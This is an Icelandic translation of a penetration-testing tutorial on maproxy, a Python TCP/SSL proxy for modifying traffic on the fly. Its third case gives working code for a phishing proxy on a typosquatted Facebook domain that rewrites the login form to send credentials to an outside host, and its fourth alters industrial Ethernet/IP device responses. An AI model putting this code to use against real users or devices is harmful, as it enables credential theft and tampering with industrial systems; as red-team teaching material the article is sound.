Vinndu netgögn á flugu

Þýðing á greininni var unnin í aðdraganda námskeiðsins „Pentest. Skynflugsprófunaræfingar“.

Vinndu netgögn á flugu

Útdráttur

Ýmsar tegundir öryggismats, allt frá reglubundnum skarpskyggniprófum og aðgerðum Red Team til að hakka IoT/ICS tæki og SCADA, felur í sér að vinna með tvöfaldar netsamskiptareglur, það er í raun að stöðva og breyta netgögnum milli viðskiptavinarins og markmiðsins. Að þefa netumferð er ekki erfitt verkefni þar sem við erum með verkfæri eins og Wireshark, Tcpdump eða Scapy, en breytingar virðast vera vinnufrekara verkefni þar sem við þurfum að hafa einhvers konar viðmót til að lesa netgögnin, sía þau, breyta það á flugu og sendu það aftur til markhýsilsins í næstum rauntíma. Að auki væri tilvalið ef slíkt tól gæti sjálfkrafa unnið með margar samhliða tengingar og verið sérhannaðar með forskriftum.

Einn daginn uppgötvaði ég tól sem heitir maproxy, skjölin gerðu mér það fljótt ljóst maproxy - bara það sem ég þarf. Þetta er frekar einfalt, fjölhæft og auðvelt að stilla TCP umboð. Ég prófaði þetta tól á nokkrum frekar flóknum forritum, þar á meðal ICS tækjum (sem búa til fullt af pökkum) til að sjá hvort það gæti séð um margar samhliða tengingar og tólið stóð sig vel.

Þessi grein mun kynna þér vinnslu netgagna á flugu með því að nota maproxy.

Skoða

Tól maproxy er byggt á Tornado, vinsælum og þroskaðri ósamstilltu netkerfi í Python.

Almennt séð getur það starfað í nokkrum stillingum:

  • TCP:TCP - ódulkóðaðar TCP tengingar;
  • TCP:SSL и SSL:TCP - með einhliða dulkóðun;
  • SSL:SSL – tvíhliða dulkóðun.

Það kemur sem bókasafn. Til að byrja fljótt geturðu notað dæmi skrár sem endurspegla helstu aðgerðir bókasafns:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Mál 1 – einfalt tvíátta umboð

Byggt á tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Sjálfgefið ProxyServer() tekur tvö rök - tengingarstaðsetningu og markgátt. server.listen() tekur eitt rök - höfnina til að hlusta á tenginguna sem komi.

Að keyra handritið:

# python tcp2tcp.py

Til að keyra prófið ætlum við að tengjast staðbundnum SSH netþjóni í gegnum proxy skriftuna okkar, sem hlustar á 2222/tcp tengi og tengist venjulegu tengi 22/tcp SSH netþjónar:

Vinndu netgögn á flugu

Móttökuborðinn upplýsir þig um að dæmi skriftu okkar hafi tekist umboð netumferðar.

Mál 2 - breyting á gögnum

Annað kynningarhandrit logging_proxy.py tilvalið til að hafa samskipti við netgögn. Athugasemdir í skránni lýsa bekkjaraðferðum sem þú getur breytt til að ná markmiði þínu:

Vinndu netgögn á flugu

Það áhugaverðasta er hér:

  • on_c2p_done_read - að stöðva gögn á leiðinni frá viðskiptavininum til netþjónsins;
  • on_p2s_done_read - snúið við.

Við skulum reyna að breyta SSH borðanum sem þjónninn skilar til viðskiptavinarins:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Framkvæma handritið:

Vinndu netgögn á flugu

Eins og þú sérð var viðskiptavinurinn afvegaleiddur vegna þess að nafni SSH netþjóns fyrir hann var breytt í «DumnySSH».

Vinndu netgögn á flugu

Tilfelli 3 – einföld vefveiðarvefsíða

Það eru endalausar leiðir til að nota þetta tól. Að þessu sinni skulum við einbeita okkur að einhverju praktískara frá aðgerðahlið Rauða liðsins. Við skulum herma eftir áfangasíðunni m.facebook.com og notaðu sérsniðið lén með vísvitandi innsláttarvillu, til dæmis, m.facebok.com. Í sýnikennsluskyni skulum við bara gera ráð fyrir að lénið sé skráð af okkur.

Við ætlum að koma á ódulkóðuðu netsambandi við umboð fórnarlamba okkar og SSL Stream á Facebook netþjóninn (31.13.81.36). Til að þetta dæmi virki þurfum við að skipta um HTTP hýsingarhaus og sprauta inn réttu hýsingarheiti, og við munum einnig slökkva á svarþjöppun svo við getum auðveldlega nálgast innihaldið. Að lokum munum við skipta um HTML eyðublaðið þannig að innskráningarskilríkin eru send til okkar í stað netþjóna Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/is/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Í stuttu máli:

Vinndu netgögn á flugu

Eins og þú sérð tókst okkur að skipta út upprunalegu síðunni.

Tilfelli 4 - Porting Ethernet/IP

Ég hef verið að fást við iðnaðartæki og hugbúnað (ICS/SCADA) í nokkuð langan tíma, svo sem forritanlegir stýringar (PLC), I/O einingar, drif, liða, stiga forritunarumhverfi og margt fleira. Þetta mál er fyrir þá sem hafa gaman af iðnaðarhlutum. Að hakka slíkar lausnir felur í sér virkan leik með netsamskiptareglum. Í eftirfarandi dæmi langar mig að sýna hvernig þú getur breytt ICS/SCADA netumferð.

Fyrir þetta þarftu eftirfarandi:

  • Network sniffer, til dæmis, Wireshark;
  • Ethernet/IP eða bara SIP tæki, þú getur fundið það með Shodan þjónustunni;
  • Handritið okkar er byggt á maproxy.

Fyrst skulum við skoða hvernig dæmigerð auðkenningarsvörun frá CIP (Common Industrial Protocol) lítur út:

Vinndu netgögn á flugu

Auðkenning tækisins er framkvæmd með því að nota Ethernet/IP samskiptareglur, sem er endurbætt útgáfa af iðnaðar Ethernet samskiptareglum sem umlykur stjórnunarsamskiptareglur eins og CIP. Við ætlum að breyta auðkennda nafninu sem er sýnilegt á skjámyndinni "NI-IndComm fyrir Ethernet" með því að nota proxy-forskriftina okkar. Við gætum endurnýtt handritið logging_proxy.py og breyta á sama hátt bekkjaraðferðinni on_p2s_done_read, vegna þess að við viljum að annað auðkennisnafn sé sýnilegt á viðskiptavininum.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Í meginatriðum báðum við um auðkenningu tækisins tvisvar, annað svarið var upprunalega og því fyrsta var breytt í skyndi.

Og það síðasta

Að mínu mati maproxy Þægilegt og einfalt tól, sem einnig er skrifað í Python, svo ég tel að þú getir líka haft gott af því að nota það. Auðvitað eru til flóknari verkfæri til að vinna úr og breyta netgögnum, en þau krefjast líka meiri athygli og eru venjulega búin til fyrir tiltekið notkunartilvik, t.d. Muraena, Modlishka eða evilginx fyrir tilvik sem líkjast því þriðja, eða canape fyrir síðasta mál. Með einum eða öðrum hætti, með hjálpinni maproxy þú getur fljótt útfært hugmyndir þínar um að stöðva netgögn, þar sem dæmið forskriftir eru mjög skýrar.

Prófa auðkenningarkerfi í Windows AD

Heimild: www.habr.com

Bæta við athugasemd